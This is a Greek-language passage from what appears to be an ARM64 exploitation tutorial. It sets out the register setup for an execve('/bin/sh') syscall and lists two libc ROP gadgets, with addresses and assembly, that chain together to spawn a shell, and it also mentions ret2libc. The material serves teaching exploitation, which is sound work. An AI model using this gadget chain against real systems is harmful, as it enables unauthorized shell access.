Για να προετοιμάσετε την κλήση για το syscall απαιτείται η παρακάτω διαμόρφωση:
x8: 221 Καθορίστε το sys_execve
x0: δείκτης προς "/bin/sh" καθορίστε το αρχείο προς εκτέλεση
x1: 0 καθορίστε ότι δεν περνιούνται παράμετροι
x2: 0 καθορίστε ότι δεν περνιούνται μεταβλητές περιβάλλοντος
Χρησιμοποιώντας το ROPgadget.py κατάφερα να εντοπίσω τα παρακάτω gadgets στη βιβλιοθήκη libc της μηχανής:
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
Με τα προηγούμενα gadgets μπορούμε να ελέγξουμε όλους τους απαιτούμενους registries από το stack και να χρησιμοποιήσουμε το x5 για να μεταβούμε στο δεύτερο gadget και να καλέσουμε το syscall.
Σημειώστε ότι γνωρίζοντας αυτές τις πληροφορίες από τη βιβλιοθήκη libc επιτρέπει επίσης την εκτέλεση επίθεσης ret2libc, αλλά ας το χρησιμοποιήσουμε για το παρόν παράδειγμα.